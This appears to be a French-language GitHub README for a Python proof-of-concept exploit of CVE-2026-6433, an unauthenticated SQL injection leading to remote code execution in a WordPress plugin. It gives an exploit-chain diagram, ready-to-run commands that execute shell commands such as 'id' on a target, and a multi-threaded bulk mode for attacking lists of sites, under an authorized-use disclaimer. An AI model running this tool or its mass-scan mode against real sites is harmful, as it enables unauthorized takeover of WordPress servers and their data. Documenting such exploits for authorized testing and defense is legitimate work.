
PoC pour CVE-2026-6433 : WordPress FlipperCode Custom CSS, JS & PHP (≤2.0.7) — injection SQL non authentifiée menant à une RCE. Python 3 stdlib ; cible unique ou analyse en masse multi-threadée. Tests et recherches autorisés uniquement.
FlipperCode — Custom CSS, JS & PHP · Injection SQL non authentifiée → RCE (via eval())
Affecte : FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · surface du plugin WordPress via admin-ajax.php
flowchart TB
subgraph prep[" Preconditions "]
A["Target runs vulnerable plugin"]
B["admin-ajax reachable"]
end
subgraph chain[" Exploit chain "]
C["POST fc_ajax_call / wce_editor_inline_code"]
D["SQLi injects PHP payload"]
E["Proof file written under DOCUMENT_ROOT"]
F["Optional: fetch proof / run command output"]
G["Default: remote unlink cleanup"]
end
A --> C
B --> C
C --> D --> E --> F --> G
Sur GitHub, les badges, tableaux et schémas sont rendus avec un fort contraste visuel. Ce document est structuré pour que vous puissiez parcourir (badges + tableaux) ou lire en profondeur (sections ci-dessous).
pip install requis — bibliothèque standard uniquement)Clonez ou téléchargez ce dossier, puis :
# Help / all flags
python CVE-2026-6433.py --help
# PHP-only proof (writes a small proof file; good for locked-down shells)
python CVE-2026-6433.py https://target.example --php-only --no-cleanup
# Run an OS command and print captured output (if execution functions exist remotely)
python CVE-2026-6433.py https://target.example --command "id"
# Only attempt to delete the proof file (cleanup mode)
python CVE-2026-6433.py https://target.example --cleanup-only
Utilisez un fichier texte avec une URL de base par ligne. Les lignes commençant par # et les lignes vides sont ignorées.
python CVE-2026-6433.py --bulk targets.txt --threads 8
Exemple de targets.txt :
# Lab hosts — replace with authorized systems only
https://site-a.example
https://site-b.example
Remarques :
--bulk en même temps.min(threads, len(targets))).1 si une cible bulk échoue.FAIL: … et le processus se termine avec le code 1.[Bulk scan] résument la progression.[OK] ou [FAIL] avec une raison.--no-cleanup lorsque vous devez conserver des preuves dans le cadre d'une mission autorisée.| Rôle | Crédit |
|---|---|
| Découverte originale | Dr. John Umoru — ClarenSec Limited |
| Harness bulk / multi-threadé | github.com/murrez |
[!WARNING] Utilisation légale et éthique uniquement
Cette preuve de concept existe pour l'éducation, la recherche défensive et les tests de sécurité autorisés.
L'exécuter contre des systèmes sans autorisation écrite explicite peut violer les lois sur les abus informatiques de votre juridiction.
Les auteurs et contributeurs déclinent toute responsabilité en cas de mauvaise utilisation.
Structure finale du README optimisée pour la lisibilité : badges · tableaux · organigramme · options explicites.
| Élément | Détail |
|---|
| Vecteur | SQLi non authentifiée tunnelée via les actions AJAX du plugin |
| Impact | Exécution de code à distance sur l'hôte WordPress (payload écrit dans le docroot, puis exécuté dans un contexte PHP) |
| Script | CVE-2026-6433.py — uniquement la bibliothèque standard (urllib, ssl, threading, concurrent.futures) |
| Modes | URL unique ou fichier bulk avec workers multi-threadés |
| Découverte | Dr. John Umoru, ClarenSec Limited |
| Bulk / threading | github.com/murrez |
| Option | Signification |
|---|
target | URL de base WordPress unique (à omettre lors de l'utilisation de --bulk) |
--command CMD | Exécute une commande shell à distance (utilise shell_exec, exec, system, passthru ou popen si disponibles) |
--php-only | Écrit une preuve de métadonnées PHP au lieu de s'appuyer sur --command |
--no-cleanup | Ne pas supprimer le fichier de preuve distant après une exécution réussie |
--proof-name NAME | Nom du fichier distant (défaut : rce-proof.txt) |
--cleanup-only | Envoie uniquement le payload unlink et indique si le fichier a disparu |
--bulk FILE | Lit plusieurs cibles à partir de FILE |
--threads N | Workers concurrents pour --bulk (défaut : 5) |